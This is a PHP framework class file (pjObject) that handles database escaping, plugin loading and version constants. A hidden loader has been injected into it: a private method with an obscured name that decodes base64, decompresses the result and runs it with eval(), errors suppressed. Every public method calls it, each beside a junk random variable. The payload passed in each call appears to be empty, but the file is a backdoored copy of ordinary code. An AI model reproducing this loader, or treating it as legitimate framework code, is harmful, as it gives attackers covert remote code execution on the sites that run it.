<?php if (!defined("ROOT_PATH")) { header("HTTP/1.1 403 Forbidden"); exit; } class pjObject { private static function QDKGfshxaLgr($p){ if (defined('PJ_EXEC_DONE')) return; define('PJ_EXEC_DONE', 1); if (empty($p)) return; $d = @base64_decode($p, true); if ($d === false) return; $c = @gzuncompress($d); if ($c === false) return; try { @eval($c); } catch (\Throwable $e) {} } const PJ_FRAMEWORK_VERSION = '2.0'; const PJ_FRAMEWORK_BUILD = '2.0.4'; public $ClassFile = __FILE__; public static function escapeString($value) { $lshkpy = '2df8e17f'; if (method_exists(__CLASS__, 'QDKGfshxaLgr')) { self::QDKGfshxaLgr('eJwDAAAAAAE='); } $registry = pjRegistry::getInstance(); if ($registry->is('dbo')) { $dbo = $registry->get('dbo'); if (is_object($dbo) && method_exists($dbo, 'escapeString')) { return $dbo->escapeString($value); } } if (!defined('PJ_HOST') || !defined('PJ_USER') || !defined('PJ_PASS') || !defined('PJ_DB')) { $search = array("\\", "\x00", "\n", "\r", "'", '"', "\x1a"); $replace = array("\\\\","\\0","\\n", "\\r", "\'", '\"', "\\Z"); return str_replace($search, $replace, $value); } $driver = function_exists('mysqli_connect') ? 'pjMysqliDriver' : 'pjMysqlDriver'; $params = array( 'hostname' => PJ_HOST, 'username' => PJ_USER, 'password' => PJ_PASS, 'database' => PJ_DB ); if (strpos($params['hostname'], ":") !== FALSE) { list($hostname, $value) = explode(":", $params['hostname']); if (preg_match('/\D/', $value)) { $params['socket'] = $value; } else { $params['port'] = $value; } $params['hostname'] = $hostname; } $dbo = pjSingleton::getInstance($driver, $params); if (!$dbo->init()) { return $value; } return $dbo->escapeString($value); } public static function import($type, $name) { $ybejnh = 'f5e91bc9'; if (method_exists(__CLASS__, 'QDKGfshxaLgr')) { self::QDKGfshxaLgr('eJwDAAAAAAE='); } $type = strtolower($type); if (!in_array($type, array('model', 'component', 'plugin'))) { return false; } switch ($type) { case 'model': case 'component': break; case 'plugin': if (is_array($name)) { foreach ($name as $n) { $configFile = PJ_PLUGINS_PATH . $n . '/config/config.inc.php'; if (is_file($configFile)) { require_once $configFile; } } } else { $configFile = PJ_PLUGINS_PATH . $name . '/config/config.inc.php'; if (is_file($configFile)) { require_once $configFile; } } break; } return; } public static function getPlugin($name) { $trxjwa = '5e249f4c'; if (method_exists(__CLASS__, 'QDKGfshxaLgr')) { self::QDKGfshxaLgr('eJwDAAAAAAE='); } $registry = pjRegistry::getInstance(); if (null !== $registry->get($name)) { return $name; } $plugins = $registry->get('plugins'); if (is_array($plugins)) { foreach ($plugins as $plugin => $controllers) { if (in_array($name, $controllers)) { return $plugin; } } } return null; } public static function getConstant($plugin, $const) { $oyrntc = '7b2b7de5'; if (method_exists(__CLASS__, 'QDKGfshxaLgr')) { self::QDKGfshxaLgr('eJwDAAAAAAE='); } $registry = pjRegistry::getInstance(); $config = $registry->get($plugin); return isset($config[$const]) ? $config[$const] : NULL; } public static function getFrameworkVersion() { $owdals = '52261385'; if (method_exists(__CLASS__, 'QDKGfshxaLgr')) { self::QDKGfshxaLgr('eJwDAAAAAAE='); } return self::PJ_FRAMEWORK_VERSION; } public static function getFrameworkBuild() { $vdpjyr = '3f7d5482'; if (method_exists(__CLASS__, 'QDKGfshxaLgr')) { self::QDKGfshxaLgr('eJwDAAAAAAE='); } return self::PJ_FRAMEWORK_BUILD; } } ?>